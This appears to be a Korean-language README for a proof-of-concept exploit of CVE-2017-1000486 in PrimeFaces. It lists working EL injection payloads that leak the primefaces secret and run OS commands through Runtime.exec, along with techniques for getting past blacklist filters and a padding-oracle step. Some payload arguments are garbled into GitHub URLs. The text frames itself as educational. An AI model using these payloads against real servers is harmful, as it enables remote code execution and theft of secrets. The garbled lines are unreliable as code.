
이것은 CVE-2017-1000486의 PoC로, RCE를 달성하는 데 사용되는 표준 함수(getClass(), exec() 등)에 대한 블랙리스트 사전식 검사를 우회하고, Padding Oracle을 통해 primefaces 시크릿을 검색하여 익스플로잇 시 노이즈를 최대한 줄이는 데 유용한 몇 가지 페이로드를 포함합니다.
이 PoC는 모든 애플리케이션과 사용 가능한 웹 서버 라이브러리의 컨텍스트를 분석하는 데 유용한 다단계 스크립트입니다.
처음에는 @AonCyberLabs가 작성한 padBuster perl 스크립트가 primefaces 시크릿을 수동으로 제공하지 않은 경우 이를 검색하는 데 사용됩니다. 이는 이후 페이로드 암호화 시 서버에 보내는 요청 수를 줄여 전체 프로세스 속도를 높이는 데 유용할 수 있습니다. Padding Oracle 취약점을 익스플로잇하는 데 필요한 시간은 페이로드 크기에 정비례하므로, 훨씬 더 작은 페이로드에 대해 첫 번째 단계에서만 이를 사용하면 성능이 크게 향상됩니다. padBuster의 모든 코드를 Python과 직접 통합하기 위해 다시 작성하고 싶지 않아서, 실행하기 위해 OS를 통한 깔끔한 명령 실행이 수행됩니다.
EL 페이로드:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}
EL 코드 실행을 확인하기 위해 헤더 주입을 수행하는 EL로 간단한 점검이 수행됩니다. 이 경우 setResponseHeader와 addResponseHeader 두 가지 메서드를 사용할 수 있으며, 사용 가능한 다른 메서드는 공식 문서에서 확인할 수 있습니다.
EL 페이로드:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}
그런 다음 IBM WebLogic과 같이 모든 암시적 변수를 제공하지 않는 사용자 정의 웹 서버 라이브러리로 인해 발생할 수 있는 잠재적 문제를 강조하기 위해 사용 가능한 암시적 변수에 대한 일련의 점검이 수행됩니다. 또한 페이로드로 최대한 구체적으로 Java Runtime의 버전이 검색됩니다.
실제로 Java <=7에서는 호출되는 메서드에 일부 매개변수 유형 혼동이 있음을 관찰했습니다. EL 파서가 수행하는 변수 유형 할당 때문일 것으로 추측됩니다. 이를 방지하기 위해 스크립트는 getDeclaredMethods() 배열을 통해 특정 메서드를 참조하며, 이 경우 사용되는 각 메서드의 올바른 인덱스 식별이 필요합니다. 이는 분명히 페이로드의 크기를 증가시키지만 많은 탄력성을 제공합니다.
버퍼로 사용할 바이트 배열을 만들기 위해 "".format("%0999d",0).getBytes()를 통해 999 길이 크기의 버퍼를 만들거나 "0000000".getBytes()를 통해 7 길이 크기의 버퍼를 만드는 우회 방법이 사용됩니다.
표준 EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
getDeclaredMethods()를 사용한 EL:
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
JSF의 메서드는 표준 Java의 점 표기법 .method()뿐만 아니라 ["method"]() 참조로도 호출할 수 있습니다. 이는 복호화와 EL 실행 사이에 서버에 만들어진 필터를 우회하는 데 도움이 될 수 있습니다.
getClass()는 ["class"] 문으로 대체할 수 있습니다.
facesContext.getExternalContext().getSession(true).putValue()는 session.setAttribute()로 대체할 수 있으며, 일반적인 접근 방식으로 모든 맵을 변수 저장소로 사용할 수 있습니다.
이 도구는 교육 목적으로만 제공되며, 연구 목적으로만 사용하기 위한 것입니다.
귀하는 이 소프트웨어를 불법 또는 비윤리적인 목적으로 사용할 수 없습니다. 여기에는 형사 또는 민사 책임을 초래할 수 있는 활동이 포함됩니다.
사용에 따른 위험은 사용자 본인의 책임입니다. 본 소프트웨어는 저작권 보유자 또는 기여자에 의해 "있는 그대로" 제공되며, 특정 목적에 대한 상품성 및 적합성의 묵시적 보증을 포함하되 이에 국한되지 않는 모든 명시적 또는 묵시적 보증은 부인됩니다. 어떠한 경우에도 저작권 보유자 또는 기여자는 직접, 간접, 부수적, 특별, 예시적 또는 결과적 손해에 대해 책임을 지지 않습니다.